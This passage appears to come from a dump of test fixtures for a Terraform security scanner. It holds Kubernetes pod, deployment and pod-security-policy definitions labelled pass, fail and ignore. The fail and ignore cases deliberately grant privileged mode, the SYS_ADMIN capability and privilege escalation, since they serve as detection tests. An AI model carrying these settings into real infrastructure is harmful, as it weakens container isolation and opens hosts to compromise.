    "content": "resource \"kubernetes_pod\" \"ignore\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n      ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"ignore\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"ignore\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"ignore\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          },\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n          add = [\"NET_BIND_SERVICE\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        capabilities {\n          add = [\"NET_BIND_SERVICE\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n          add = [\"NET_BIND_SERVICE\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        capabilities {\n          add = [\"NET_BIND_SERVICE\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n              add = [\"NET_BIND_SERVICE\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            capabilities {\n              add = [\"NET_BIND_SERVICE\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n              add = [\"NET_BIND_SERVICE\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          security_context {\n            capabilities {\n              add = [\"NET_BIND_SERVICE\"]\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n          add = []\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get  {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n          add = []\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get  {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n              add = []\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n              add = []\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22\"\n\n          security_context {\n            capabilities {\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_AllowedCapabilitiesPSP/main.tf",
    "content": "resource \"kubernetes_pod_security_policy\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = true\n    allowed_capabilities = [\"NET_BIND_SERVICE\"]\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n\nresource \"kubernetes_pod_security_policy\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    privileged                 = false\n    allow_privilege_escalation = false\n\n    volumes = [\n      \"configMap\",\n      \"emptyDir\",\n      \"projected\",\n      \"secret\",\n      \"downwardAPI\",\n      \"persistentVolumeClaim\",\n    ]\n\n    run_as_user {\n      rule = \"MustRunAsNonRoot\"\n    }\n\n    se_linux {\n      rule = \"RunAsAny\"\n    }\n\n    supplemental_groups {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    fs_group {\n      rule = \"MustRunAs\"\n      range {\n        min = 1\n        max = 65535\n      }\n    }\n\n    read_only_root_filesystem = true\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_AllowedCapabilitiesSysAdmin/main.tf",
    "content": "resource \"kubernetes_pod\" \"ignore\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n      ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n\nresource \"kubernetes_pod_v1\" \"ignore\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container = [\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ,\n      {\n        image = \"nginx:1.7.9\"\n        name  = \"example22222\"\n\n        security_context = {\n          privileged = true\n        }\n\n        env = {\n          name  = \"environment\"\n          value = \"test\"\n        }\n\n        port = {\n          container_port = 8080\n        }\n\n        liveness_probe = {\n          http_get = {\n            path = \"/nginx_status\"\n            port = 80\n\n            http_header = {\n              name  = \"X-Custom-Header\"\n              value = \"Awesome\"\n            }\n          }\n\n          initial_delay_seconds = 3\n          period_seconds        = 3\n        }\n      }\n    ]\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\nresource \"kubernetes_deployment\" \"ignore\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ,\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\nresource \"kubernetes_deployment_v1\" \"ignore\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      k8s-app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        k8s-app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          k8s-app = \"nginx\"\n        }\n      }\n\n      spec {\n        container = [\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ,\n          {\n            image = \"nginx:1.7.9\"\n            name  = \"example22222\"\n\n            security_context = {\n              privileged = true\n            }\n\n            env = {\n              name  = \"environment\"\n              value = \"test\"\n            }\n\n            port = {\n              container_port = 8080\n            }\n\n            liveness_probe = {\n              http_get = {\n                path = \"/nginx_status\"\n                port = 80\n\n                http_header = {\n                  name  = \"X-Custom-Header\"\n                  value = \"Awesome\"\n                }\n              }\n\n              initial_delay_seconds = 3\n              period_seconds        = 3\n            }\n          }\n        ]\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n\nresource \"kubernetes_pod\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22\"\n\n      security_context {\n        capabilities {\n          add = [\"SYS_ADMIN\"]\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      security_context {\n        capabilities {\n          add = [\"NET_BIND_SERVICE\"]\n        